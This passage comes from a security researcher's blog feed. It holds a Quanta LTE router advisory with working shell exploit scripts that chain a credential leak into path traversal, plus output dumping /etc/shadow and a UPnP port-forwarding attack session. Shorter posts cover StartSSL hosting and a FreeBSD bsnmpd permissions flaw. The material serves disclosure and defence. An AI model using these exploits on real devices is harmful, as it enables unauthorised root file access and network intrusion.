  PID  PPID USER     STAT   VSZ %MEM CPU %CPU COMMAND
  797     1 root     S     107m 64.8   0 98.4 /bin/qmiweb
</code></pre>
<p><a id="arbitrary-file-browsing-using-the-http-daemon"></a></p>
<h2>Details - Arbitrary file browsing using the http daemon</h2>
<p>If an usb key or an usb hard disk is connected to the router, then it's possible to do arbitrary browsing using the http daemon in file system of the router using root privileges.</p>
<p>The problem is the function in the http daemon which doesn't clean <code>../../</code> in the HTTP requests.</p>
<p>Using the provided exploit: the exploit uses the information leak to use the login/password to get a valid cookie session and then exploits the vulnerability in the http daemon.</p>
<p>PoC to browse the / directory of the router:</p>
<pre><code>user@kali:~$ ./quanta-http-directory-listing.sh
{"query_path":"/../../../../","dir_list":[
{"name":"www","type":1,"date":"2014/12/10 02:26:44","size":0},
{"name":"usr","type":1,"date":"1970/01/01 00:02:23","size":0},
{"name":"config2","type":1,"date":"2016/02/24 17:26:07","size":0},
{"name":"build.prop","type":2,"date":"2014/12/10 02:27:50","size":38},
{"name":"sdcard","type":1,"date":"2016/01/28 18:34:47","size":0},
{"name":"home","type":1,"date":"2016/01/30 18:55:25","size":0},
{"name":"sbin","type":1,"date":"2014/12/10 02:27:50","size":0},
{"name":"bin","type":1,"date":"2014/12/10 02:27:49","size":0},
{"name":"media","type":1,"date":"2014/12/10 02:26:38","size":0},
{"name":"boot","type":1,"date":"2014/12/10 02:15:37","size":0},
{"name":"mnt","type":1,"date":"2014/12/10 02:26:38","size":0},
{"name":"sys","type":1,"date":"1970/01/01 02:43:27","size":0},
{"name":"disk","type":1,"date":"2014/12/10 02:26:38","size":0},
{"name":"WEBSERVER","type":1,"date":"2014/12/10 02:26:39","size":0},
{"name":"lib","type":1,"date":"2016/02/24 17:13:53","size":0},
{"name":"dev","type":1,"date":"2016/02/24 19:43:52","size":0},
{"name":"proc","type":1,"date":"1970/01/01 00:00:00","size":0},
{"name":"linuxrc","type":2,"date":"2014/12/10 02:16:02","size":1906904},
{"name":".ash_history","type":2,"date":"2016/02/24 16:44:14","size":1693},
{"name":"tmp","type":1,"date":"2016/02/24 19:23:31","size":0},
{"name":"etc","type":1,"date":"2016/02/24 19:23:28","size":0},
{"name":"config","type":1,"date":"2016/02/24 19:43:52","size":0},
{"name":"lost+found","type":1,"date":"1970/01/01 02:43:26","size":0},
{"name":"var","type":1,"date":"2016/02/24 19:43:52","size":0},
{"name":"cache","type":1,"date":"2016/02/24 16:43:38","size":0}]}
user@kali:~$
</code></pre>
<p>Source of the exploit:</p>
<pre><code>user@kali:~$ cat quanta-http-directory-listing.sh
#!/bin/sh

TMP_DIR=$(mktemp -d)

wget -qO${TMP_DIR}/stage1-axx 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&amp;file=system'
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
http_login=$(echo $http_login | tr -d '\r')
http_password=$(echo $http_password | tr -d '\r')
http_session=$(wget -qO/dev/null --server-response --post-data="uname=$http_login&amp;passwd=$http_password" http://192.168.1.1/login.cgi 2&gt;&amp;1 | grep Cooki | awk '{ print $2 }')
http_csrf_token=$(wget -qO- --header="Cookie: ${http_session=}" "http://192.168.1.1/data.ria?token=1")
wget -qO- --header="Cookie: ${http_session}" "http://192.168.1.1/data.ria?CfgType=storage_status&amp;dir_path=/../../../../"
user@kali:~$
</code></pre>
<p>Alternatively, you can fetch the exploit at <a href="https://pierrekim.github.io/advisories/quanta-http-directory-listing.sh">https://pierrekim.github.io/advisories/quanta-http-directory-listing.sh</a>.</p>
<p><a id="arbitrary-file-reading-using-the-http-daemon"></a></p>
<h2>Details - Arbitrary file reading using the http daemon</h2>
<p>If an usb key or an usb hard disk is connected to the router, then it's possible to do arbitrary file reading in the file system of the router using root privileges.</p>
<p>The problem is the function in the http daemon which does clean the <code>../../</code> strings in the requests but not hex-encoded '/' (%2f) characters.</p>
<p>Using the provided exploit: the exploit uses the information leak to use the login/password to get a valid cookie session and then exploits the vulnerability in the http daemon.</p>
<p>PoC to retrieve the <code>/etc/shadow</code> file:</p>
<pre><code>user@kali:~$ ./quanta-http-file.sh
root:aRDiHrJ0OkehM:16414:0:99999:7:::
daemon:*:16414:0:99999:7:::
bin:*:16414:0:99999:7:::
sys:*:16414:0:99999:7:::
sync:*:16414:0:99999:7:::
games:*:16414:0:99999:7:::
man:*:16414:0:99999:7:::
lp:*:16414:0:99999:7:::
mail:*:16414:0:99999:7:::
news:*:16414:0:99999:7:::
uucp:*:16414:0:99999:7:::
proxy:*:16414:0:99999:7:::
www-data:*:16414:0:99999:7:::
backup:*:16414:0:99999:7:::
list:*:16414:0:99999:7:::
irc:*:16414:0:99999:7:::
gnats:*:16414:0:99999:7:::
diag:*:16414:0:99999:7:::
nobody:*:16414:0:99999:7:::
messagebus:!:16414:0:99999:7:::
avahi:!:16414:0:99999:7:::
user@kali:~$
</code></pre>
<p>Source of the exploit:</p>
<pre><code>user@kali:~$ cat quanta-http-file.sh
#!/bin/sh

TMP_DIR=$(mktemp -d)

wget -qO${TMP_DIR}/stage1-axx 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&amp;file=system'
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
http_login=$(echo $http_login | tr -d '\r')
http_password=$(echo $http_password | tr -d '\r')
http_session=$(wget -qO/dev/null --server-response --post-data="uname=$http_login&amp;passwd=$http_password" http://192.168.1.1/login.cgi 2&gt;&amp;1 | grep Cooki | awk '{ print $2 }')
http_csrf_token=$(wget -qO- --header="Cookie: ${http_session=}" "http://192.168.1.1/data.ria?token=1")
wget -qO- --header="Cookie: ${http_session}" "http://192.168.1.1/storage_download/..%2f..%2f..%2f..%2f../etc/shadow"
user@kali:~$
</code></pre>
<p>Alternatively, you can fetch the exploit at <a href="https://pierrekim.github.io/advisories/quanta-http-file.sh">https://pierrekim.github.io/advisories/quanta-http-file.sh</a>.</p>
<p><a id="network-eavesdropping"></a></p>
<h2>Details - Network Eavesdropping - Interception with the gglogd program</h2>
<p>By default, the available pcap library is not located in the good path and tcpdump doesn't work (missing lib).</p>
<p>The <code>/bin/gglogd</code> program is interesting because it fixes the tcpdump dependencies by moving libpcap into the correct directory, as shown in IDA screenshots.</p>
<p>Then, the <code>/bin/gglogd</code> program will log all the traffic passing through the bridge0 (wlan0+eth* : wireless and ethernet) and the LTE interface (rmnet0). The resulting interception files will be written into the flash memory, so "somebody" can retrieve the logged traffic even if the router is rebooted.</p>
<p>Fixing tcpdump library:</p>
<p><img alt="" src="images/2016-quanta-gglogd-pcap-fix-00.png" /></p>
<p>Execution of tcpdump:</p>
<p><img alt="" src="images/2016-quanta-gglogd-pcap-fix-01.png" /></p>
<p><code>/bin/gglogd</code> is not started by default but it is suspicious that (1) this kind of the program is present in this router, (2) the program will fix the tcpdump dependencies on its own (tcpdump doesn't work by default in the firmware image) and (3) intercepting files are stored in a persistent storage. This intrigues further thoughts what the developer wanted to achieve from these settings.</p>
<p><strong>This is not a vulnerability but an interesting fact.</strong></p>
<p><a id="misc"></a></p>
<h2>Details - Misc</h2>
<p>Samba is started if a FAT32 usb disk is connected. The provided Samba version (3.0.25b) is outdated : 9 year old and is prone to =~ 28 CVEs allowing an attacker to execute arbitrary code as root. I advise users not to connect usb disks to this device, connecting an usb disks will start the samba daemons.</p>
<p>Dropbear is outdated (v2011.54).</p>
<p><a id="security-removed-in-upnp"></a></p>
<h2>Details - Security removed in UPnP</h2>
<p>UPnP allows to add firewall rules dynamically. Because of the security risks involved, generally there are restrictions in place to avoid dangerous new firewall rules from an unstrusted LAN client.</p>
<p>Insecurity in IPnP was hype 10 years ago (in 2006). The security level of the UPNP program (miniupnp) in this router is lowered volontary as shown below and allows an attacker located in the LAN area to add Port forwarding from the Internet to other clients located in the LAN:</p>
<p>From <code>/var/miniupnpd.conf</code>:</p>
<pre><code>ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no      # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP.
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD
</code></pre>
<p>There is no restriction about the UPnP permission rules in the configuration file, contrary to common usage in UPnP where it is advised to only allow redirection of port above 1024:</p>
<p>Normal config file:</p>
<pre><code># UPnP permission rules
# (allow|deny) (external port range) ip/mask (internal port range)
# A port range is &lt;min port&gt;-&lt;max port&gt; or &lt;port&gt; if there is only
# one port in the range.
# ip/mask format must be nn.nn.nn.nn/nn
# it is advised to only allow redirection of port above 1024
# and to finish the rule set with "deny 0-65535 0.0.0.0/0 0-65535"
allow 1024-65535 192.168.0.0/24 1024-65535
deny 0-65535 0.0.0.0/0 0-65535
</code></pre>
<p>In the configuration of the vulnerable router where there are no permission rules, an attacker can forward everything from the WAN into the LAN.
From example, an attacker can add a forwarding rule in order to allow traffic from the Internet to local Exchange servers, mail servers, ftp servers, http servers, database servers...
In fact, this lack of security allows a local user to forward what they want from the Internet into the LAN as shown below with the miranda tool.</p>
<pre><code>user@kali:~$ miranda
upnp&gt; msearch

Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...

****************************************************************
SSDP reply message from 192.168.1.1:2869
XML file is located at http://192.168.1.1:2869/rootDesc.xml
Device is running / UPnP/1.1 MiniUPnPd/1.8
****************************************************************

^CDiscover mode halted...

upnp&gt; host list

    [0] 192.168.1.1:2869

upnp&gt; host get 0

Requesting device and service info for 192.168.1.1:2869 (this could take a few seconds)...

Host data enumeration complete!

upnp&gt; host info 0

xmlFile : http://192.168.1.1:2869/rootDesc.xml
name : 192.168.1.1:2869
proto : http://
serverType : / UPnP/1.1 MiniUPnPd/1.8
upnpServer : / UPnP/1.1 MiniUPnPd/1.8
dataComplete : True
deviceList : {}

upnp&gt; host info 0 deviceList

InternetGatewayDevice : {}
WANDevice : {}
WANConnectionDevice : {}

upnp&gt; host info 0 deviceList WAN
WANConnectionDevice   WANDevice

upnp&gt; host info 0 deviceList WANConnectionDevice services WANIPConnection actions

AddPortMapping : {}
GetNATRSIPStatus : {}
GetGenericPortMappingEntry : {}
GetSpecificPortMappingEntry : {}
ForceTermination : {}
GetExternalIPAddress : {}
GetConnectionTypeInfo : {}
GetListOfPortMappings : {}
GetStatusInfo : {}
SetConnectionType : {}
DeletePortMappingRange : {}
DeletePortMapping : {}
RequestConnection : {}
AddAnyPortMapping : {}

upnp&gt; host summary 0

Host: 192.168.1.1:2869
XML File: http://192.168.1.1:2869/rootDesc.xml
InternetGatewayDevice
    modelName: Quanta Mobile Router
    UPC: 000000000000
    modelNumber: 1
    presentationURL: http://192.168.1.1
    friendlyName: Quanta Mobile Router
    fullName: urn:schemas-upnp-org:device:InternetGatewayDevice:2
    UDN: uuid:56f610e0-0fb9-11e3-8ffd-0800200c9a66
    modelURL: http://192.168.1.1
    manufacturer: Quanta
WANDevice
    modelName: Quanta Mobile Router
    UPC: 000000000000
    modelNumber: Quanta Mobile Router
    friendlyName: Quanta Mobile Router
    fullName: urn:schemas-upnp-org:device:WANDevice:2
    UDN: uuid:56f610e1-0fb9-11e3-8ffd-0800200c9a66
    modelURL: http://192.168.1.1
    manufacturer: Quanta
WANConnectionDevice
    modelName: Quanta Mobile Router
    UPC: 000000000000
    modelNumber: Quanta Mobile Router
    friendlyName: Quanta Mobile Router
    fullName: urn:schemas-upnp-org:device:WANConnectionDevice:2
    UDN: uuid:56f610e2-0fb9-11e3-8ffd-0800200c9a66
    modelURL: http://192.168.1.1
    manufacturer: Quanta


upnp&gt; host send 0 WANConnectionDevice WANIPConnection AddPortMapping

Required argument:
    Argument Name:  NewPortMappingDescription
    Data Type:      string
    Allowed Values: []
    Set NewPortMappingDescription value to: net-to-internal-http-server

Required argument:
    Argument Name:  NewLeaseDuration
    Data Type:      ui4
    Allowed Values: []
    Value Min:      0
    Value Max:      604800
    Set NewLeaseDuration value to: 0

Required argument:
    Argument Name:  NewInternalClient
    Data Type:      string
    Allowed Values: []
    Set NewInternalClient value to: 192.168.1.101

Required argument:
    Argument Name:  NewEnabled
    Data Type:      boolean
    Allowed Values: []
    Set NewEnabled value to: 1

Required argument:
    Argument Name:  NewExternalPort
    Data Type:      ui2
    Allowed Values: []
    Set NewExternalPort value to: 80

Required argument:
    Argument Name:  NewRemoteHost
    Data Type:      string
    Allowed Values: []
    Set NewRemoteHost value to:

Required argument:
    Argument Name:  NewProtocol
    Data Type:      string
    Allowed Values: ['TCP', 'UDP']
    Set NewProtocol value to: TCP

Required argument:
    Argument Name:  NewInternalPort
    Data Type:      ui2
    Allowed Values: []
    Value Min:      1
    Value Max:      65535
    Set NewInternalPort value to: 80

upnp&gt; exit

Bye!

user@kali:~$
</code></pre>
<p>Firewall rules in the router before an attacker (with IP 192.168.1.2) uses UPnP:</p>
<pre><code>root@homerouter:~# iptables-save | grep  UPNP
:MINIUPNPD - [0:0]
-A PREWAN -j MINIUPNPD
:MINIUPNPD - [0:0]
-A FORWARD -o bridge0 -m mark --mark 0x11 -j MINIUPNPD
root@homerouter:~#
</code></pre>
<p>Firewall rules in the router after an attacker (with IP 192.168.1.2) uses UPnP:</p>
<pre><code>root@homerouter:~# iptables-save | grep  UPNP
:MINIUPNPD - [0:0]
-A MINIUPNPD -p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.1.101:80
-A PREWAN -j MINIUPNPD
:MINIUPNPD - [0:0]
-A FORWARD -o bridge0 -m mark --mark 0x11 -j MINIUPNPD
-A MINIUPNPD -d 192.168.1.101/32 -p tcp -m tcp --dport 80 -j ACCEPT
root@homerouter:~#
</code></pre>
<p>A new firewall rule allowing traffic from the Internet to a local HTTP server (192.168.1.101) was sucessfully added.</p>
<p><a id="undocumented-diagnostic-webpage"></a></p>
<h2>Details - Undocumented diagnostic webpage</h2>
<p>The webpage at <code>http://192.168.1.1/diaglogs_page.htm</code> (needs a valid session) gives new parameters to edit:</p>
<ul>
<li>QXDM Filter (?),</li>
<li>Download Mode Configuration when modem crash occured,</li>
<li>usb_factory_pid,</li>
<li>Web Redirect(?),</li>
<li>FOTA test Configuration,</li>
<li>LTE modem Configuration,</li>
<li>LTE Band Preferences Configuration,</li>
<li>SMS Self-Registration Debug Test,</li>
<li>Sending SMS PDU Test,</li>
<li>Editing TR069 Configuration,</li>
<li>WLAN (802.11b, bg, bgn)</li>
</ul>
<p><img alt="" src="images/2016-quanta-diaglogs_page.htm.png" /></p>
<p>This is not a vulnerability but an interesting hidden functionality.</p>
<h2>Personal notes</h2>
<p>As the router has a sizable memory (168 MB), a decent CPU and good free space (235 MB) with complete toolkits installed by default (sshd, proxy (<code>/bin/tinyproxy -c /var/tproxy.conf</code>), tcpdump ...), I advise users to trash their routers because it's trivial for an attacker to use this router as an attack vector (ie: hosting a sniffing tool, LAN hacking, active MiTM tool, spamming zombie).</p>
<p>The reader must understand that not all the vulnerabilities have been disclosed. There is a lot of interesting undisclosed findings in this router (including RCEs) and I encourage security researchers to analyze the binaries provided by the firmware (We can agree I already did my part).</p>
<p>Given the vulnerabilities found, even if the vendor changes its mind and decides to patch the router, I don't think it is even possible as it needs major rewrites in several main components (the ASM code shows very bad security practices in several binaries).</p>
<p>From my tests, it is possible to overwrite the firmware with a custom (backdoored) firmware. Generating a valid backdoored firmware is left as an exercise for the reader, but with all these included vulnerabilities in the default firmware, I don't think it is worth making the effort.</p>
<p>To illustrate the precedent fact, here is the current available space in the router:</p>
<pre><code>root@homerouter:~# df-h 
Filesystem                Size      Used Available Use% Mounted on
/dev/root                60.4M     36.2M     24.2M  60% /
tmpfs                    64.0K         0     64.0K   0% /dev
tmpfs                    82.5M         0     82.5M   0% /dev/shm
/var                     82.5M    968.0K     81.5M   1% /var
/dev/mtdblock24          60.4M     27.1M     33.3M  45% /usr
/dev/mtdblock16          10.1M      1.4M      8.7M  14% /config
/dev/mtdblock17          10.1M      1.3M      8.8M  13% /config2
/dev/mtdblock18          80.4M      1.3M     79.1M   2% /cache
root@homerouter:~
</code></pre>
<h2>Tribute to Alex</h2>
<p>The <code>/var/alex</code> directory is used as a storage directory for logs. This in a non conventional path and seems to be named after one of the programmer's name. Hello Alex !</p>
<p>In Samba:</p>
<p><img alt="" src="images/2016-quanta-alex-samba.png" /></p>
<p>In the Firmware Over The Air program:</p>
<p><img alt="" src="images/2016-quanta-alex-sbin-fotad.png" /></p>
<h2>Having fun with the LEDs:</h2>
<p>This device has a lot of LEDs and an user can control them.</p>
<p>You can recycle the router as a funny "light show" device with this command:</p>
<pre><code>root@homerouter:/sys/class/leds# for j in *; do (while sleep 0.1; do echo 0 &gt; /sys/class/leds/$j/brightness ; sleep 0.1 ; echo 1 &gt; /sys/class/leds/$j/brightness ;done &amp;); sleep 0.1;done
</code></pre>
<p>The leds will start blinking like crazy. It will add some fun in this long journey.</p>
<h2>Vendor Response</h2>
<p>The vulnerable router is in the End Of Service cycle and will not be
  supported anymore.</p>
<p>The vendor considers the router is still working well.</p>
<p>The vendor will consider security in their next product development.</p>
<h2>Report Timeline</h2>
<ul>
<li>Dec 04, 2015: Vulnerabilities found by Pierre Kim.</li>
<li>Mar 04, 2016: security@quantatw.com is contacted asking for a GPG key to exchange about vulnerabilities: email bounced.</li>
<li>Mar 04, 2016: Quanta is contacted about vulnerabilities in their routers and how to get a security contact at Quanta.</li>
<li>Mar 04, 2016: Quanta asks Pierre Kim about the affected device: model name, version and clear details about the vulnerabilities in order to redirect to the good IT department.</li>
<li>Mar 04, 2016: Pierre Kim specifies the model of the Router, asks for a GPG key in order to send detailed informations and clarifies he found backdoor accounts in the default firmware, allowing an unauthenticated, remote attacker to log in to the device with the privileges of the root user.</li>
<li>Mar 09, 2016: Pierre Kim contacts Quanta again to get a contact at the security team.</li>
<li>Mar 12, 2016: Pierre Kim contacts Quanta again to get a contact at the security team.</li>
<li>Mar 14, 2016: A Sale Account Manager at Quanta ("MIS department") asks if Pierre Kim gets the device from the Operator YooMee and says "The S/W is already fixed for our customer and we are not able to change it randomly for end customer. However, we appreciate your information and we will take into consideration for the s/w development in the near future."</li>
<li>Mar 14, 2016: Pierre Kim asks for clarification and asks if the device is End of Life and unsupported, even for security patches. Pierre Kims asks Quanta about clarification for the Vendor Response in the future public Security Advisory.</li>
<li>Mar 15, 2016: Quanta confirms the product is EOL and the released firmware was approved by the operator. Quanta can't modify of change without the customer's approval. Quanta does not have plan to patch or change FW as the product is EOL. Quanta thanks Pierre Kim for the information and will consider the findings into our next product development in the near future.</li>
<li>Mar 15, 2016: Pierre Kim asks if Quanta encourages users to discard the unsupported router for the "Vendor Response" in the advisory because no patch will be provided by the vendor.</li>
<li>Mar 16, 2016: Quanta considers the router is still working well but is in End Of Service cycle. Quanta doesn't encourage users to discard the router.</li>
<li>Mar 16, 2016: Pierre Kim adapts the Vendor Response accordingly but warns Quanta he is very concerned that no security workarounds are provided by the vendor.  At this time, Quanta never asked about the security vulnerabilities in detail, nor provided a GPG key.</li>
<li>Mar 18, 2016: Pierre Kim contacts again Quanta to ask if there is another reachable security team at Quanta. He asks again for a GPG key and demands Quanta to confirm no security patches are planned for the Quanta QDH Router.</li>
<li>Mar 21, 2016: Quanta confirms the product is EOL. Quanta asks details about the vulnerabilities.</li>
<li>Mar 22, 2016: Pierre Kim asks Quanta for a GPG key and states he will give a first draft without the exploits if Quanta is unable to provide a GPG key.</li>
<li>Mar 23, 2016: Quanta asks an advisory in cleartext without exploits.</li>
<li>Mar 23, 2016: Pierre Kim sends a draft to Quanta.</li>
<li>Apr 04, 2016: A public advisory is sent to security mailing lists.</li>
</ul>
<h2>Credit</h2>
<p>These vulnerabilities were found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/advisories/2016-quanta-0x00.txt">https://pierrekim.github.io/advisories/2016-quanta-0x00.txt</a></p>
<p><a href="https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html">https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>Why I stopped using StartSSL (Hint it involves a Chinese company)</title>
        <link href="2016-02-16-why-i-stopped-using-startssl-because-of-qihoo-360.html"/>
        <content type="html"><h3>TL;DR: The PKI plateform of <a href="https://auth.startssl.com">StartSSL</a>, an Israeli leader of free SSL certificates, is now hosted by <a href="https://en.wikipedia.org/wiki/Qihoo_360">Qihoo 360</a>, a Chinese Antivirus Company, which uses IPs from a Chinese state-owned telecommunication company.</h3>
<p>StartSSL is PKI solution from StartCom, a company based in Israel. </p>
<p>From <a href="https://en.wikipedia.org/wiki/StartCom">https://en.wikipedia.org/wiki/StartCom</a>:</p>
<pre><code>StartSSL offers the free (for personal use) Class 1 X.509 SSL certificate "StartSSL Free", which works for webservers (SSL/TLS) as well as for E-mail encryption (S/MIME). It also offers Class 2 and 3 certificates as well as Extended Validation Certificates. All major browsers include support for StartSSL certificates.
</code></pre>
<h3>StartSSL announced in December 2015 that it will expand activities in China:</h3>
<p>From <a href="https://www.startssl.com/NewsDetailss">https://www.startssl.com/NewsDetails</a>:</p>
<pre><code>StartCom, a leading global Certificate Authority (CA) and provider of trusted identity and authentication services, launched its newly designed website just at the end of the year and announces expansion if its activities in China.
</code></pre>
<h2>Mapping of StartSSL public infrastructure</h2>
<p>StartSSL uses <a href="https://auth.startssl.com/">https://auth.startssl.com/</a> for the front-end to access to their PKIs (login to the PKI, create, revoke certificates...). It's the <strong>Core of their service</strong> and the critical part of their infrastructure.</p>
<p>Using Robtex, we discover the platform of StartSSL is mainly operated in Israel with the 192.116.242.0/24 IP range (netname: SrartCom-Ltd(sic!), with country: IL).</p>
<p>From  <a href="https://www.robtex.com/route/192.116.242.0-24.html">https://www.robtex.com/route/192.116.242.0-24.html</a>:</p>
<p><img alt="" src="images/startssl-192.116.242.0-24.png" /></p>
<p>The www.startssl.com vhost is provided by a custom CDN:</p>
<pre><code>root@kali:~/# host www.startssl.com
www.startssl.com has address 97.74.232.97    &lt;- Godaddy
www.startssl.com has address 52.7.55.170     &lt;- Amazon Web Services
www.startssl.com has address 52.21.57.183    &lt;- Amazon Web Services
www.startssl.com has address 52.0.114.134    &lt;- Amazon Web Services
www.startssl.com has address 50.62.56.98     &lt;- Godaddy
www.startssl.com has address 104.192.110.222 &lt;- QiHU 360 Inc.
www.startssl.com has address 50.62.133.237   &lt;- Godaddy
root@kali:~/#
</code></pre>
<p>Apart from IPs from CDNs, we find a strange fact:</p>
<p>The DNS of auth.startssl.com changed in December 2015 from <a href="https://apps.db.ripe.net/search/query.html?searchtext=192.116.242.27#resultsAnchor">192.116.242.27</a> (<strong>StrartCom-Ltd</strong>) to <a href="https://whois.arin.net/rest/net/NET-104-192-110-0-1/pft?s=104.192.110.222">104.192.110.222</a> (<strong>QiHU 360</strong>), which belongs to a Chinese Company (<strong>Qihoo 360</strong>).</p>
<p>There are only 3 vhosts pointing to 104.192.110.222 :</p>
<pre><code>www.startssl.com resolves for 1 IP to 104.192.110.222
auth.startssl.com -&gt; 104.192.110.222
www.startpki.com -&gt; 104.192.110.222
</code></pre>
<p>We can use <a href="https://www.whatsmydns.net/#A/auth.startssl.com">WhatsMyDNS</a> to check that auth.startssl.com revolves to 104.192.110.222 from any location. This is not a CDN solution but an intentional usage of a single Chinese IP.</p>
<p><img alt="https://www.whatsmydns.net/#A/auth.startssl.com" src="images/startssl-www.whatsmydns.net-auth.startssl.com.png" /></p>
<h2>Whois information for 104.192.110.222:</h2>
<p>From <a href="https://whois.arin.net/rest/net/NET-104-192-110-0-1/pft?s=104.192.110.222">https://whois.arin.net/rest/net/NET-104-192-110-0-1/pft?s=104.192.110.222</a>:</p>
<p><img alt="" src="images/startssl-ARIN-104.192.110.222.png" /></p>
<p><a href="https://www.whatsmydns.net/#A/auth.startssl.com">As auth.startssl.com revolves to 104.192.110.222 from any location</a>, we can assume the PKI is now hosted on the 104.192.110.222 IP.</p>
<p>104.192.110.222 is an IP from "QiHU 360 Inc", which actually means Qihoo 360. Qihoo 360 is a Chinese tech company.</p>
<p>You may be heard something about Qihoo 360, <a href="https://www.techinasia.com/chinese-tech-companies-bought-opera">who just bought Opera</a>.
Strangely enough, Qihoo 360 uses IPs from China Telecom Americas. China Telecom Americas is a subsidiary of China Telecom Corporation Limited which is a Chinese state-owned telecommunication company. It is the <a href="https://en.wikipedia.org/wiki/China_Telecom">largest fixed-line service and the third largest mobile telecommunication provider in the People's Republic of China</a>.</p>
<p>It is worrying that the PKI front-end (auth.startssl.com) is now hosted within a Chinese Antivirus Company, who uses a Chinese ISP for 2 months AND that there hasn't been any news around. It can be only linked to the expansion of StartSSL's activities in China in December 2015, as explained above.</p>
<p>From a history point of view, StartSSL <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=994033">already refused to revoke certificates affected by the HeartBleed vulnerability</a> and accused the user from negligence ("your software was vulnerable").</p>
<p>With all these facts, I don't think using StartSSL is a good idea now, except if they offer a clear explanation why they are hosting their PKI in a Chinese company.</p>
<p>Go use <a href="http://www.letsencrypt.org/">Let's encrypt</a> ! :)</p></content>
    </entry>
    
    <entry>
        <title>CVE-2015-5677 - FreeBSD bsnmpd information disclosure</title>
        <link href="2016-01-15-cve-2015-5677-freebsd-bsnmpd.html"/>
        <content type="html"><h2>Product Description</h2>
<p>The bsnmpd daemon serves the Internet SNMP (Simple Network Management
Protocol).  It is intended to serve only the absolute basic MIBs and
implement all other MIBs through loadable modules.</p>
<h2>Vulnerabilities Summary</h2>
<p>By default, the bsnmpd configuration file in FreeBSD 9.3 and 10.x has weak permissions
which allows a local user to retrieve sensitive information.</p>
<h2>Details</h2>
<p>By default the permissions of the bsnmpd configuration file are 0644 instead of 0600:</p>
<pre><code>root@freebsd-test-snmp:~ # ls -latr /etc/snmpd.config
-rw-r--r--  1 root  wheel  8662 Aug 12 16:27 /etc/snmpd.config
root@freebsd-test-snmp:~ #
</code></pre>
<p>This file is readable by a local user and contains the credentials for read-only and
read-write access (for SNMPv1, SNMPv2 and SNMPv3 protocols) and
gives a local user unnecessary/dangerous access:</p>
<pre><code>root@freebsd-test-snmp:~ # cat /etc/snmpd.config
[...]

# Change this!
read := "public"
# Uncomment begemotSnmpdCommunityString.0.2 below that sets the community
# string to enable write access.
write := "geheim"
trap := "mytrap"

[...]

# SNMPv3 USM User definition
#
# [...]
#
#user1 := "bsnmp"
#user1passwd := 0x22:0x98:0x1a:0x6e:0x39:0x93:0x16:0x5e:0x6a:0x21:0x1b:0xd8:0xa9:0x81:0x31:0x05:0x16:0x33:0x38:0x60

[...]
</code></pre>
<h2>Vendor Response</h2>
<p>The official patch does not fix the permissions for existing installations.</p>
<p>This vulnerability can be fixed by modifying the permission on
/etc/bsnmpd.conf to owner root:wheel and permission 0600.</p>
<h2>Report Timeline</h2>
<ul>
<li>Nov 04, 2015: Vulnerability found by Pierre Kim.</li>
<li>Nov 05, 2015: security-officer@freebsd.org is notified of the vulnerability.</li>
<li>Nov 07, 2015: security-officer@freebsd.org confirms the vulnerability but the patch in existing installations does not seem to be feasible.</li>
<li>Nov 11, 2015: Pierre Kim asks security-officer@freebsd.org for a CVE number, using FreeBSD CVE pool for future FreeBSD vulnerabilities.</li>
<li>Nov 11, 2015: security-officer@freebsd.org assigns CVE-2015-5677.</li>
<li>Jan 05, 2016: Pierre Kim asks the status of the vulnerability.</li>
<li>Jan 13, 2016: Pierre Kim states he will release a security advisory the Feb 05, 2016 after a 3-month embargo.</li>
<li>Jan 13, 2016: security-officer@freebsd.org confirms a security advisory will be issued on Jan 19, 2016.</li>
<li>Jan 14, 2016: An official advisory is published by FreeBSD.</li>
<li>Jan 15, 2016: A public advisory is sent to security mailing lists.</li>
</ul>
<h2>Credit</h2>
<p>This vulnerability was found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/advisories/CVE-2015-5677-freebsd-bsnmpd.txt">https://pierrekim.github.io/advisories/CVE-2015-5677-freebsd-bsnmpd.txt</a></p>
<p><a href="https://pierrekim.github.io/blog/2016-01-15-cve-2015-5677-freebsd-bsnmpd.html">https://pierrekim.github.io/blog/2016-01-15-cve-2015-5677-freebsd-bsnmpd.html</a></p>
<p><a href="https://www.freebsd.org/security/advisories/FreeBSD-SA-16:06.bsnmpd.asc">https://www.freebsd.org/security/advisories/FreeBSD-SA-16:06.bsnmpd.asc</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>CVE-2015-7944, CVE-2015-7945 - Ganeti Security Advisory (DoS, Unauthenticated Info Leak)</title>
        <link href="2016-01-05-Ganeti-Info-Leak-DoS.html"/>
        <content type="html"><h2>Product Description</h2>
